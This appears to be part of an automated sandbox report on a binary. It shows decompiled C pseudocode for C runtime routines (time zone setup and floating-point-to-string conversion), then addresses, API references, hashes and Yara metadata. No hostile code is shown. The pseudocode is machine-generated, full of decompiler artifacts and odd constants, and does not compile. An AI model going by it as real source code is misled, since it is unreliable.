				signed int _t106;
				void* _t113;
				signed int _t116;
				void* _t117;
				void* _t119;
				void* _t120;
				void* _t122;
				signed int _t124;
				signed int _t125;
				signed int* _t128;
				signed int _t129;
				void* _t132;
				void* _t134;
				signed int _t135;
				signed int _t137;
				void* _t140;
				intOrPtr _t141;
				void* _t143;
				void* _t148;
				signed int _t150;
				signed int _t151;
				signed int _t154;
				signed int _t158;
				signed int _t161;
				intOrPtr* _t166;
				intOrPtr _t167;
				signed int _t168;
				intOrPtr* _t169;
				void* _t170;
				void* _t171;
				signed int _t172;
				int _t176;
				signed int _t178;
				char** _t179;
				signed int _t183;
				signed int _t184;
				void* _t191;
				signed int _t192;
				void* _t193;
				signed int _t194;

				_t178 = __esi;
				_t171 = __edi;
				_t65 = E6E182C48();
				_v8 = _v8 & 0x00000000;
				_t137 = _t65;
				_v16 = _v16 & 0x00000000;
				_v12 = _t137;
				if(E6E182CA6( &_v8) != 0 || E6E182C4E( &_v16) != 0) {
					L46:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E6E178956();
					asm("int3");
					_t191 = _t193;
					_t194 = _t193 - 0x10;
					_push(_t137);
					_t179 = E6E182C48();
					_v52 = 0;
					_v56 = 0;
					_v60 = 0;
					_t72 = E6E182CA6( &_v52);
					_t143 = _t178;
					__eflags = _t72;
					if(_t72 != 0) {
						L66:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E6E178956();
						asm("int3");
						_push(_t191);
						_t192 = _t194;
						_t74 =  *0x6e1bb164; // 0x55e3ddbb
						_v100 = _t74 ^ _t192;
						 *0x6e1bb474 =  *0x6e1bb474 | 0xffffffff;
						 *0x6e1bb468 =  *0x6e1bb468 | 0xffffffff;
						_push(0);
						_push(_t179);
						_push(_t171);
						_t172 = 0;
						 *0x6e2538c8 = 0;
						_t78 = E6E18D077(_t143, _t167, __eflags,  &_v360,  &_v356, 0x100, 0x6e1affb4);
						__eflags = _t78;
						if(_t78 != 0) {
							__eflags = _t78 - 0x22;
							if(_t78 == 0x22) {
								_t184 = E6E17FBEC(_t143, _v276);
								_pop(_t148);
								__eflags = _t184;
								if(__eflags != 0) {
									_t85 = E6E18D077(_t148, _t167, __eflags,  &_v280, _t184, _v276, 0x6e1affb4);
									__eflags = _t85;
									if(_t85 == 0) {
										E6E17FBB2(0);
										_t172 = _t184;
									} else {
										_push(_t184);
										goto L72;
									}
								} else {
									_push(0);
									L72:
									E6E17FBB2();
								}
							}
						} else {
							_t172 =  &_v272;
						}
						asm("sbb esi, esi");
						_t183 =  ~(_t172 -  &_v272) & _t172;
						__eflags = _t172;
						if(_t172 == 0) {
							L80:
							L47();
						} else {
							__eflags =  *_t172;
							if(__eflags == 0) {
								goto L80;
							} else {
								_push(_t172);
								E6E183009(0x6e1affb4, _t172, _t183, __eflags);
							}
						}
						E6E17FBB2(_t183);
						__eflags = _v16 ^ _t192;
						return E6E173D51(_v16 ^ _t192);
					} else {
						_t89 = E6E182C4E( &_v16);
						_pop(_t143);
						__eflags = _t89;
						if(_t89 != 0) {
							goto L66;
						} else {
							_t91 = E6E182C7A( &_v20);
							_pop(_t143);
							__eflags = _t91;
							if(_t91 != 0) {
								goto L66;
							} else {
								E6E17FBB2( *0x6e2538c4);
								 *0x6e2538c4 = 0;
								 *_t194 = 0x6e2538d0;
								_t93 = GetTimeZoneInformation(??);
								__eflags = _t93 - 0xffffffff;
								if(_t93 != 0xffffffff) {
									_t150 =  *0x6e2538d0 * 0x3c;
									_t168 =  *0x6e253924; // 0x0
									_push(_t171);
									 *0x6e2538c8 = 1;
									_v12 = _t150;
									__eflags =  *0x6e253916; // 0x0
									if(__eflags != 0) {
										_t151 = _t150 + _t168 * 0x3c;
										__eflags = _t151;
										_v12 = _t151;
									}
									__eflags =  *0x6e25396a; // 0x0
									if(__eflags == 0) {
										L56:
										_v16 = 0;
										_v20 = 0;
									} else {
										_t106 =  *0x6e253978; // 0x0
										__eflags = _t106;
										if(_t106 == 0) {
											goto L56;
										} else {
											_v16 = 1;
											_v20 = (_t106 - _t168) * 0x3c;
										}
									}
									_t176 = E6E17B6F0(0, _t168);
									_t99 = WideCharToMultiByte(_t176, 0, 0x6e2538d4, 0xffffffff,  *_t179, 0x3f, 0,  &_v24);
									__eflags = _t99;
									if(_t99 == 0) {
										L60:
										 *( *_t179) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L60;
										} else {
											( *_t179)[0x3f] = 0;
										}
									}
									_t102 = WideCharToMultiByte(_t176, 0, 0x6e253928, 0xffffffff, _t179[1], 0x3f, 0,  &_v24);
									__eflags = _t102;
									if(_t102 == 0) {
										L64:
										 *(_t179[1]) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L64;
										} else {
											_t179[1][0x3f] = 0;
										}
									}
								}
								 *(E6E182C42()) = _v12;
								 *((intOrPtr*)(E6E182C36())) = _v16;
								_t96 = E6E182C3C();
								 *_t96 = _v20;
								return _t96;
							}
						}
					}
				} else {
					_t169 =  *0x6e2538c4; // 0x0
					_t178 = _a4;
					if(_t169 == 0) {
						L12:
						E6E17FBB2(_t169);
						_t154 = _t178;
						_t12 = _t154 + 1; // 0x6e1833fa
						_t170 = _t12;
						do {
							_t113 =  *_t154;
							_t154 = _t154 + 1;
						} while (_t113 != 0);
						_t13 = _t154 - _t170 + 1; // 0x6e1833fb
						 *0x6e2538c4 = E6E17FBEC(_t154 - _t170, _t13);
						_t116 = E6E17FBB2(0);
						_t167 =  *0x6e2538c4; // 0x0
						if(_t167 == 0) {
							goto L45;
						} else {
							_t158 = _t178;
							_push(_t171);
							_t14 = _t158 + 1; // 0x6e1833fa
							_t171 = _t14;
							do {
								_t117 =  *_t158;
								_t158 = _t158 + 1;
							} while (_t117 != 0);
							_t15 = _t158 - _t171 + 1; // 0x6e1833fb
							_t119 = E6E17EBB9(_t167, _t15, _t178);
							_t193 = _t193 + 0xc;
							if(_t119 == 0) {
								_t171 = 3;
								_push(_t171);
								_t120 = E6E18D133(_t159,  *_t137, 0x40, _t178);
								_t193 = _t193 + 0x10;
								if(_t120 == 0) {
									while( *_t178 != 0) {
										_t178 = _t178 + 1;
										_t171 = _t171 - 1;
										if(_t171 != 0) {
											continue;
										}
										break;
									}
									_pop(_t171);
									_t137 = _t137 & 0xffffff00 |  *_t178 == 0x0000002d;
									if(_t137 != 0) {
										_t178 = _t178 + 1;
									}
									_t161 = E6E17F5B7(_t159, _t178) * 0xe10;
									_v8 = _t161;
									while(1) {
										_t122 =  *_t178;
										if(_t122 != 0x2b && (_t122 < 0x30 || _t122 > 0x39)) {
											break;
										}
										_t178 = _t178 + 1;
									}
									__eflags =  *_t178 - 0x3a;
									if( *_t178 == 0x3a) {
										_t178 = _t178 + 1;
										_t161 = _v8 + E6E17F5B7(_t161, _t178) * 0x3c;
										_v8 = _t161;
										while(1) {
											_t132 =  *_t178;
											__eflags = _t132 - 0x30;
											if(_t132 < 0x30) {
												break;
											}
											__eflags = _t132 - 0x39;
											if(_t132 <= 0x39) {
												_t178 = _t178 + 1;
												__eflags = _t178;
												continue;
											}
											break;
										}
										__eflags =  *_t178 - 0x3a;
										if( *_t178 == 0x3a) {
											_t178 = _t178 + 1;
											_t161 = _v8 + E6E17F5B7(_t161, _t178);
											_v8 = _t161;
											while(1) {
												_t134 =  *_t178;
												__eflags = _t134 - 0x30;
												if(_t134 < 0x30) {
													goto L38;
												}
												__eflags = _t134 - 0x39;
												if(_t134 <= 0x39) {
													_t178 = _t178 + 1;
													__eflags = _t178;
													continue;
												}
												goto L38;
											}
										}
									}
									L38:
									__eflags = _t137;
									if(_t137 != 0) {
										_v8 = _t161;
									}
									__eflags =  *_t178;
									_t124 = 0 |  *_t178 != 0x00000000;
									_v16 = _t124;
									__eflags = _t124;
									_t125 = _v12;
									if(_t124 == 0) {
										_t29 = _t125 + 4; // 0xfffffddd
										 *((char*)( *_t29)) = 0;
										L44:
										 *(E6E182C42()) = _v8;
										_t128 = E6E182C36();
										 *_t128 = _v16;
										return _t128;
									}
									_push(3);
									_t28 = _t125 + 4; // 0xfffffddd
									_t129 = E6E18D133(_t161,  *_t28, 0x40, _t178);
									_t193 = _t193 + 0x10;
									__eflags = _t129;
									if(_t129 == 0) {
										goto L44;
									}
								}
							}
							goto L46;
						}
					} else {
						_t166 = _t169;
						_t135 = _t178;
						while(1) {
							_t140 =  *_t135;
							if(_t140 !=  *_t166) {
								break;
							}
							if(_t140 == 0) {
								L8:
								_t116 = 0;
							} else {
								_t9 = _t135 + 1; // 0xdde805eb
								_t141 =  *_t9;
								if(_t141 !=  *((intOrPtr*)(_t166 + 1))) {
									break;
								} else {
									_t135 = _t135 + 2;
									_t166 = _t166 + 2;
									if(_t141 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							if(_t116 == 0) {
								L45:
								return _t116;
							} else {
								_t137 = _v12;
								goto L12;
							}
							goto L82;
						}
						asm("sbb eax, eax");
						_t116 = _t135 | 0x00000001;
						__eflags = _t116;
						goto L10;
					}
				}
				L82:
			}

0x6e183009
0x6e183009
0x6e183013
0x6e183018
0x6e18301c
0x6e18301e
0x6e183026
0x6e183031
0x6e1831d1
0x6e1831d3
0x6e1831d4
0x6e1831d5
0x6e1831d6
0x6e1831d7
0x6e1831d8
0x6e1831dd
0x6e1831e1
0x6e1831e3
0x6e1831e6
0x6e1831ed
0x6e1831f4
0x6e1831f8
0x6e1831fb
0x6e1831fe
0x6e183203
0x6e183204
0x6e183206
0x6e18332e
0x6e18332e
0x6e18332f
0x6e183330
0x6e183331
0x6e183332
0x6e183333
0x6e183338
0x6e18333b
0x6e18333c
0x6e183344
0x6e18334b
0x6e18334e
0x6e18335b
0x6e183362
0x6e183363
0x6e183364
0x6e18336a
0x6e183379
0x6e183380
0x6e183388
0x6e18338a
0x6e183394
0x6e183397
0x6e1833a4
0x6e1833a6
0x6e1833a7
0x6e1833a9
0x6e1833c2
0x6e1833ca
0x6e1833cc
0x6e1833d2
0x6e1833d7
0x6e1833ce
0x6e1833ce
0x00000000
0x6e1833ce
0x6e1833ab
0x6e1833ab
0x6e1833ac
0x6e1833ac
0x6e1833ac
0x6e1833d9
0x6e18338c
0x6e18338c
0x6e18338c
0x6e1833e6
0x6e1833e8
0x6e1833ea
0x6e1833ec
0x6e1833fc
0x6e1833fc
0x6e1833ee
0x6e1833ee
0x6e1833f1
0x00000000
0x6e1833f3
0x6e1833f3
0x6e1833f4
0x6e1833f9
0x6e1833f1
0x6e183402
0x6e18340d
0x6e183418
0x6e18320c
0x6e183210
0x6e183215
0x6e183216
0x6e183218
0x00000000
0x6e18321e
0x6e183222
0x6e183227
0x6e183228
0x6e18322a
0x00000000
0x6e183230
0x6e183236
0x6e18323b
0x6e183241
0x6e183248
0x6e18324e
0x6e183251
0x6e183257
0x6e18325e
0x6e183264
0x6e183268
0x6e18326e
0x6e183271
0x6e183278
0x6e18327d
0x6e18327d
0x6e18327f
0x6e18327f
0x6e183282
0x6e183289
0x6e1832a1
0x6e1832a1
0x6e1832a4
0x6e18328b
0x6e18328b
0x6e183290
0x6e183292
0x00000000
0x6e183294
0x6e183296
0x6e18329c
0x6e18329c
0x6e183292
0x6e1832ac
0x6e1832c0
0x6e1832c6
0x6e1832c8
0x6e1832d6
0x6e1832d8
0x6e1832ca
0x6e1832ca
0x6e1832cd
0x00000000
0x6e1832cf
0x6e1832d1
0x6e1832d1
0x6e1832cd
0x6e1832ed
0x6e1832f4
0x6e1832f6
0x6e183305
0x6e183308
0x6e1832f8
0x6e1832f8
0x6e1832fb
0x00000000
0x6e1832fd
0x6e183300
0x6e183300
0x6e1832fb
0x6e1832f6
0x6e183312
0x6e18331c
0x6e183321
0x6e183326
0x6e18332d
0x6e18332d
0x6e18322a
0x6e183218
0x6e183049
0x6e183049
0x6e18304f
0x6e183054
0x6e18308a
0x6e18308b
0x6e183091
0x6e183093
0x6e183093
0x6e183096
0x6e183096
0x6e183098
0x6e183099
0x6e18309f
0x6e1830aa
0x6e1830af
0x6e1830b4
0x6e1830be
0x00000000
0x6e1830c4
0x6e1830c4
0x6e1830c6
0x6e1830c7
0x6e1830c7
0x6e1830ca
0x6e1830ca
0x6e1830cc
0x6e1830cd
0x6e1830d4
0x6e1830d9
0x6e1830de
0x6e1830e3
0x6e1830eb
0x6e1830ec
0x6e1830f2
0x6e1830f7
0x6e1830fc
0x6e183102
0x6e183107
0x6e183108
0x6e18310b
0x00000000
0x00000000
0x00000000
0x6e18310b
0x6e183110
0x6e183111
0x6e183116
0x6e183118
0x6e183118
0x6e183120
0x6e183126
0x6e183129
0x6e183129
0x6e18312d
0x00000000
0x00000000
0x6e183137
0x6e183137
0x6e18313a
0x6e18313d
0x6e18313f
0x6e18314d
0x6e18314f
0x6e183159
0x6e183159
0x6e18315b
0x6e18315d
0x00000000
0x00000000
0x6e183154
0x6e183156
0x6e183158
0x6e183158
0x00000000
0x6e183158
0x00000000
0x6e183156
0x6e18315f
0x6e183162
0x6e183164
0x6e18316f
0x6e183171
0x6e18317b
0x6e18317b
0x6e18317d
0x6e18317f
0x00000000
0x00000000
0x6e183176
0x6e183178
0x6e18317a
0x6e18317a
0x00000000
0x6e18317a
0x00000000
0x6e183178
0x6e18317b
0x6e183162
0x6e183181
0x6e183181
0x6e183183
0x6e183187
0x6e183187
0x6e18318c
0x6e18318e
0x6e183191
0x6e183194
0x6e183196
0x6e183199
0x6e1831b1
0x6e1831b4
0x6e1831b7
0x6e1831bf
0x6e1831c4
0x6e1831c9
0x00000000
0x6e1831c9
0x6e18319b
0x6e1831a0
0x6e1831a3
0x6e1831a8
0x6e1831ab
0x6e1831ad
0x00000000
0x00000000
0x6e1831af
0x6e1830fc
0x00000000
0x6e1830e3
0x6e183056
0x6e183056
0x6e183058
0x6e18305a
0x6e18305a
0x6e18305e
0x00000000
0x00000000
0x6e183062
0x6e183076
0x6e183076
0x6e183064
0x6e183064
0x6e183064
0x6e18306a
0x00000000
0x6e18306c
0x6e18306c
0x6e18306f
0x6e183074
0x00000000
0x00000000
0x00000000
0x00000000
0x6e183074
0x6e18306a
0x6e18307f
0x6e183081
0x6e1831d0
0x6e1831d0
0x6e183087
0x6e183087
0x00000000
0x6e183087
0x00000000
0x6e183081
0x6e18307a
0x6e18307c
0x6e18307c
0x00000000
0x6e18307c
0x6e183054
0x00000000

APIs

_free.LIBCMT ref: 6E18308B
_free.LIBCMT ref: 6E1830AF
_free.LIBCMT ref: 6E183236
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,6E1AFFB4), ref: 6E183248
WideCharToMultiByte.KERNEL32(00000000,00000000,6E2538D4,000000FF,00000000,0000003F,00000000,?,?), ref: 6E1832C0
WideCharToMultiByte.KERNEL32(00000000,00000000,6E253928,000000FF,?,0000003F,00000000,?), ref: 6E1832ED
_free.LIBCMT ref: 6E183402

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 0930647e22520b97e5fed4dbb59712126721d72839955ab036b2d4267b13e64a
Instruction ID: a8bb52a1deea3cef7e63a9ecb2b61ffb6204a07ca29ee4062494ea37b811dd74
Opcode Fuzzy Hash: 0930647e22520b97e5fed4dbb59712126721d72839955ab036b2d4267b13e64a
Instruction Fuzzy Hash: 29C12871A04209EFDB15CFE88958AAFBBBDFF56714F28449AD89097244D73089C2EF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E189B9C, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONCrypto

Download Yara Rule

C-Code - Quality: 62%

			E6E189B9C(void* __ebx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				char _v460;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				intOrPtr _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				signed int _v2436;
				signed int _t724;
				signed int _t734;
				signed int _t735;
				signed int _t746;
				signed int _t751;
				signed int _t752;
				signed int _t758;
				signed int _t764;
				intOrPtr _t766;
				void* _t767;
				signed int _t768;
				signed int _t769;
				signed int _t770;
				signed int _t779;
				signed int _t784;
				signed int _t785;
				signed int _t786;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t801;
				signed int _t802;
				signed int _t808;
				signed int _t809;
				signed int _t812;
				signed int _t817;
				signed int _t825;
				signed int* _t828;
				signed int _t832;
				signed int _t843;
				signed int _t844;
				signed int _t846;
				char* _t847;
				signed int _t850;
				signed int _t854;
				signed int _t855;
				signed int _t860;
				signed int _t862;
				signed int _t867;
				signed int _t876;
				signed int _t879;
				signed int _t881;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t889;
				signed int _t902;
				signed int _t903;
				signed int _t905;
				char* _t906;
				signed int _t909;
				signed int _t913;
				signed int _t914;
				signed int* _t916;
				signed int _t919;
				signed int _t921;
				signed int _t926;
				signed int _t934;
				signed int _t937;
				signed int _t941;
				signed int* _t948;
				intOrPtr _t950;
				void* _t951;
				intOrPtr* _t953;
				signed int* _t957;
				unsigned int _t968;
				signed int _t969;
				void* _t972;
				signed int _t973;
				void* _t975;
				signed int _t976;
				signed int _t977;
				signed int _t978;
				signed int _t988;
				signed int _t993;
				signed int _t996;
				unsigned int _t999;
				signed int _t1000;
				void* _t1003;
				signed int _t1004;
				void* _t1006;
				signed int _t1007;
				signed int _t1008;
				signed int _t1009;
				signed int _t1014;
				signed int* _t1019;
				signed int _t1021;
				signed int _t1031;
				void _t1034;
				signed int _t1037;
				void* _t1040;
				signed int _t1047;
				signed int _t1054;
				signed int _t1055;
				signed int _t1058;
				signed int _t1059;
				signed int _t1061;
				signed int _t1062;
				signed int _t1063;
				signed int _t1067;
				signed int _t1071;
				signed int _t1072;
				signed int _t1073;
				signed int _t1075;
				signed int _t1076;
				signed int _t1077;
				signed int _t1078;
				signed int _t1079;
				signed int _t1080;
				signed int _t1082;
				signed int _t1083;
				signed int _t1084;
				signed int _t1085;
				signed int _t1086;
				signed int _t1087;
				unsigned int _t1088;
				void* _t1091;
				intOrPtr _t1093;
				signed int _t1094;
				signed int _t1095;
				signed int _t1096;
				signed int* _t1100;
				void* _t1104;
				void* _t1105;
				signed int _t1106;
				signed int _t1107;
				signed int _t1108;
				signed int _t1111;
				signed int _t1112;
				signed int _t1117;
				signed int _t1119;
				signed int _t1122;
				char _t1127;
				signed int _t1129;
				signed int _t1130;
				signed int _t1131;
				signed int _t1132;
				signed int _t1133;
				signed int _t1134;
				signed int _t1135;
				signed int _t1139;
				signed int _t1140;
				signed int _t1141;
				signed int _t1142;
				signed int _t1143;
				unsigned int _t1146;
				void* _t1150;
				void* _t1151;
				unsigned int _t1152;
				signed int _t1157;
				signed int _t1158;
				signed int _t1160;
				signed int _t1161;
				intOrPtr* _t1163;
				signed int _t1164;
				signed int _t1166;
				signed int _t1167;
				signed int _t1170;
				signed int _t1172;
				signed int _t1173;
				void* _t1174;
				signed int _t1175;
				signed int _t1176;
				signed int _t1177;
				void* _t1180;
				signed int _t1181;
				signed int _t1182;
				signed int _t1183;
				signed int _t1184;
				signed int _t1185;
				signed int* _t1188;
				signed int _t1189;
				signed int _t1190;
				signed int _t1191;
				signed int _t1192;
				intOrPtr* _t1194;
				intOrPtr* _t1195;
				signed int _t1197;
				signed int _t1199;
				signed int _t1202;
				signed int _t1208;
				signed int _t1212;
				signed int _t1217;
				signed int _t1220;
				signed int _t1221;
				signed int _t1222;
				signed int _t1223;
				signed int _t1224;
				signed int _t1225;
				signed int _t1227;
				signed int _t1228;
				signed int _t1229;
				signed int _t1230;
				signed int _t1232;
				signed int _t1233;
				signed int _t1234;
				signed int _t1235;
				signed int _t1236;
				signed int _t1238;
				signed int _t1239;
				signed int _t1241;
				signed int _t1243;
				signed int _t1245;
				signed int _t1247;
				signed int* _t1249;
				signed int* _t1251;
				signed int _t1260;

				_t724 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t724 ^ _t1247;
				_t1031 = _a20;
				_push(__esi);
				_push(__edi);
				_t1163 = _a16;
				_v1924 = _t1163;
				_v1920 = _t1031;
				E6E189B72( &_v1944, __eflags);
				_t1212 = _a8;
				_t729 = 0x2d;
				if((_t1212 & 0x80000000) == 0) {
					_t729 = 0x120;
				}
				 *_t1163 = _t729;
				 *((intOrPtr*)(_t1163 + 8)) = _t1031;
				_t1164 = _a4;
				if((_t1212 & 0x7ff00000) != 0) {
					L5:
					_t734 = E6E1807F6( &_a4);
					_pop(_t1046);
					__eflags = _t734;
					if(_t734 != 0) {
						_t1046 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t735 = _t734 - 1;
					__eflags = _t735;
					if(_t735 == 0) {
						_push("1#INF");
						goto L308;
					} else {
						_t751 = _t735 - 1;
						__eflags = _t751;
						if(_t751 == 0) {
							_push("1#QNAN");
							goto L308;
						} else {
							_t752 = _t751 - 1;
							__eflags = _t752;
							if(_t752 == 0) {
								_push("1#SNAN");
								goto L308;
							} else {
								__eflags = _t752 == 1;
								if(_t752 == 1) {
									_push("1#IND");
									goto L308;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1164;
									_a8 = _t1212 & 0x7fffffff;
									_t1260 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1166 = _v1896;
									_v1916 = _a12 + 1;
									_t1054 = _t1166 >> 0x14;
									_t758 = _t1054 & 0x000007ff;
									__eflags = _t758;
									if(_t758 != 0) {
										_t1119 = 0;
										_t758 = 0;
										__eflags = 0;
									} else {
										_t1119 = 1;
									}
									_t1167 = _t1166 & 0x000fffff;
									_t1034 = _v1900 + _t758;
									asm("adc edi, esi");
									__eflags = _t1119;
									_t1055 = _t1054 & 0x000007ff;
									_t1217 = _t1055 - 0x434 + (0 | _t1119 != 0x00000000) + 1;
									_v1872 = _t1217;
									E6E18E340(_t1055, _t1260);
									_push(_t1055);
									_push(_t1055);
									 *_t1249 = _t1260;
									_t764 = E6E18F650(E6E18E450(_t1167, _t1217), _t1260);
									_v1904 = _t764;
									__eflags = _t764 - 0x7fffffff;
									if(_t764 == 0x7fffffff) {
										L16:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t764 - 0x80000000;
										if(_t764 == 0x80000000) {
											goto L16;
										}
									}
									_v468 = _t1034;
									__eflags = _t1167;
									_v464 = _t1167;
									_t1037 = (0 | _t1167 != 0x00000000) + 1;
									_v472 = _t1037;
									__eflags = _t1217;
									if(_t1217 < 0) {
										__eflags = _t1217 - 0xfffffc02;
										if(_t1217 == 0xfffffc02) {
											L101:
											_t766 =  *((intOrPtr*)(_t1247 + _t1037 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1058 = 0;
												__eflags = 0;
											} else {
												_t1058 = _t766 + 1;
											}
											_t767 = 0x20;
											_t768 = _t767 - _t1058;
											__eflags = _t768 - 1;
											_t769 = _t768 & 0xffffff00 | _t768 - 0x00000001 > 0x00000000;
											__eflags = _t1037 - 0x73;
											_v1865 = _t769;
											_t1059 = _t1058 & 0xffffff00 | _t1037 - 0x00000073 > 0x00000000;
											__eflags = _t1037 - 0x73;
											if(_t1037 != 0x73) {
												L107:
												_t770 = 0;
												__eflags = 0;
											} else {
												__eflags = _t769;
												if(_t769 == 0) {
													goto L107;
												} else {
													_t770 = 1;
												}
											}
											__eflags = _t1059;
											if(_t1059 != 0) {
												L126:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E6E17C542( &_v468, 0x1cc,  &_v1396, 0);
												_t1249 =  &(_t1249[4]);
											} else {
												__eflags = _t770;
												if(_t770 != 0) {
													goto L126;
												} else {
													_t1086 = 0x72;
													__eflags = _t1037 - _t1086;
													if(_t1037 < _t1086) {
														_t1086 = _t1037;
													}
													__eflags = _t1086 - 0xffffffff;
													if(_t1086 != 0xffffffff) {
														_t1235 = _t1086;
														_t1194 =  &_v468 + _t1086 * 4;
														_v1880 = _t1194;
														while(1) {
															__eflags = _t1235 - _t1037;
															if(_t1235 >= _t1037) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1194;
															}
															_t210 = _t1235 - 1; // 0x70
															__eflags = _t210 - _t1037;
															if(_t210 >= _t1037) {
																_t1146 = 0;
																__eflags = 0;
															} else {
																_t1146 =  *(_t1194 - 4);
															}
															_t1194 = _t1194 - 4;
															_t948 = _v1880;
															_t1235 = _t1235 - 1;
															 *_t948 = _t1146 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t948 - 4;
															__eflags = _t1235 - 0xffffffff;
															if(_t1235 == 0xffffffff) {
																break;
															}
															_t1037 = _v472;
														}
														_t1217 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1086;
													} else {
														_t218 = _t1086 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1170 = 1 - _t1217;
											E6E1757E0(_t1170,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1247 + 0xbad63d) = 1 << (_t1170 & 0x0000001f);
											_t779 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1087 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1087;
											__eflags = _t1037 - _t1087;
											if(_t1037 == _t1087) {
												_t1150 = 0;
												__eflags = 0;
												while(1) {
													_t950 =  *((intOrPtr*)(_t1247 + _t1150 - 0x570));
													__eflags = _t950 -  *((intOrPtr*)(_t1247 + _t1150 - 0x1d0));
													if(_t950 !=  *((intOrPtr*)(_t1247 + _t1150 - 0x1d0))) {
														goto L101;
													}
													_t1150 = _t1150 + 4;
													__eflags = _t1150 - 8;
													if(_t1150 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1151 = 0;
															__eflags = 0;
														} else {
															_t1151 = _t950 + 1;
														}
														_t951 = 0x20;
														_t1236 = _t1087;
														__eflags = _t951 - _t1151 - _t1087;
														_t953 =  &_v460;
														_v1880 = _t953;
														_t1195 = _t953;
														_t171 =  &_v1865;
														 *_t171 = _t951 - _t1151 - _t1087 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1236 - _t1037;
															if(_t1236 >= _t1037) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1195;
															}
															_t175 = _t1236 - 1; // 0x0
															__eflags = _t175 - _t1037;
															if(_t175 >= _t1037) {
																_t1152 = 0;
																__eflags = 0;
															} else {
																_t1152 =  *(_t1195 - 4);
															}
															_t1195 = _t1195 - 4;
															_t957 = _v1880;
															_t1236 = _t1236 - 1;
															 *_t957 = _t1152 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t957 - 4;
															__eflags = _t1236 - 0xffffffff;
															if(_t1236 == 0xffffffff) {
																break;
															}
															_t1037 = _v472;
														}
														__eflags = _v1865;
														_t1088 = _t1087 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1087;
														_t1197 = _t1088 >> 5;
														_v1884 = _t1088;
														_t1238 = _t1197 << 2;
														E6E1757E0(_t1197,  &_v1396, 0, _t1238);
														 *(_t1247 + _t1238 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t779 = _t1197 + 1;
													}
													goto L128;
												}
											}
											goto L101;
										}
										L128:
										_v1400 = _t779;
										_t1040 = 0x1cc;
										_v936 = _t779;
										__eflags = _t779 << 2;
										E6E17C542( &_v932, 0x1cc,  &_v1396, _t779 << 2);
										_t1251 =  &(_t1249[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1239 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1239;
										__eflags = _t1037 - _t1239;
										if(_t1037 != _t1239) {
											L53:
											_t968 = _v1872 + 1;
											_t969 = _t968 & 0x0000001f;
											_t1091 = 0x20;
											_v1876 = _t969;
											_t1199 = _t968 >> 5;
											_v1872 = _t1199;
											_v1908 = _t1091 - _t969;
											_t972 = E6E18F610(1, _t1091 - _t969, 0);
											_t1093 =  *((intOrPtr*)(_t1247 + _t1037 * 4 - 0x1d4));
											_t973 = _t972 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
